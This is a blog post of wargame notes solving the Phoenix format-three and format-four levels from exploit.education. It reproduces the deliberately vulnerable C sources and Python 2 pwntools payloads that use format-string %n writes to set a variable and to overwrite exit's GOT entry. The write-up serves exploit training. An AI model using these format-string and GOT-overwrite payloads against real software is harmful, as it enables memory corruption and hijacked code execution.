BuringStraw

BuringStraw

[pwn Notes 5] format-three, format-four (phoenix)

These two seem to have no x86_64 solution.

format-three#

/*
 * phoenix/format-three, by https://exploit.education
 *
 * Can you change the "changeme" variable to a precise value?
 *
 * How do you fix a cracked pumpkin? With a pumpkin patch.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[4096];
  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);

  if (changeme == 0x64457845) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    printf(
        "Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme);
  }

  exit(0);
}

Using %n, modify one byte at a time. Since the output length is increasing, the first output is at 0x145 bytes, the second output is at 0x178, and so on.

Why isn't the first output at 0x45 bytes? Because we need to consume the 10 things on the stack before it's our turn to input, which is the target of %n.

Note that this is Python 2 (same for the following).

from pwn import *
p = process("/opt/phoenix/i486/format-three")
p.sendline("\x44\x98\x04\x08\x45\x98\x04\x08\x46\x98\x04\x08\x47\x98\x04\x08"+"A"*(0x145-99-4*4)+"%08x "*11+"%n"+"a"*((0x178-0x145))+"%n"+"a"*(0x245-0x178)+"%n"+"a"*(0x264-0x245)+"%n")
p.interactive()

format-four#

/*
 * phoenix/format-four, by https://exploit.education
 *
 * Can you affect code execution? Once you've got congratulations() to
 * execute, can you then execute your own shell code?
 *
 * Did you get a hair cut?
 * No, I got all of them cut.
 *
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

void bounce(char *str) {
  printf(str);
  exit(0);
}

void congratulations() {
  printf("Well done, you're redirected code execution!\n");
  exit(0);
}

int main(int argc, char **argv) {
  char buf[4096];

  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);
}

Write to the GOT table to overwrite the address of exit. (Studied for a while how to change the return address, but...).

This will cause the program to not exit and enter an infinite loop.

payload="\xe4\x97\x04\x08\xe5\x97\x04\x08\xe6\x97\x04\x08\xe7\x97\x04\x08"+"A"*(0x103-99-4*4)+"%08x "*11+"%n"+"a"*((0x185-0x103))+"%n"+"a"*(0x204-0x185)+"%n"+"a"*(0x208-0x204)+"%n"
open("/home/user/buf","wb").write(payload)
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.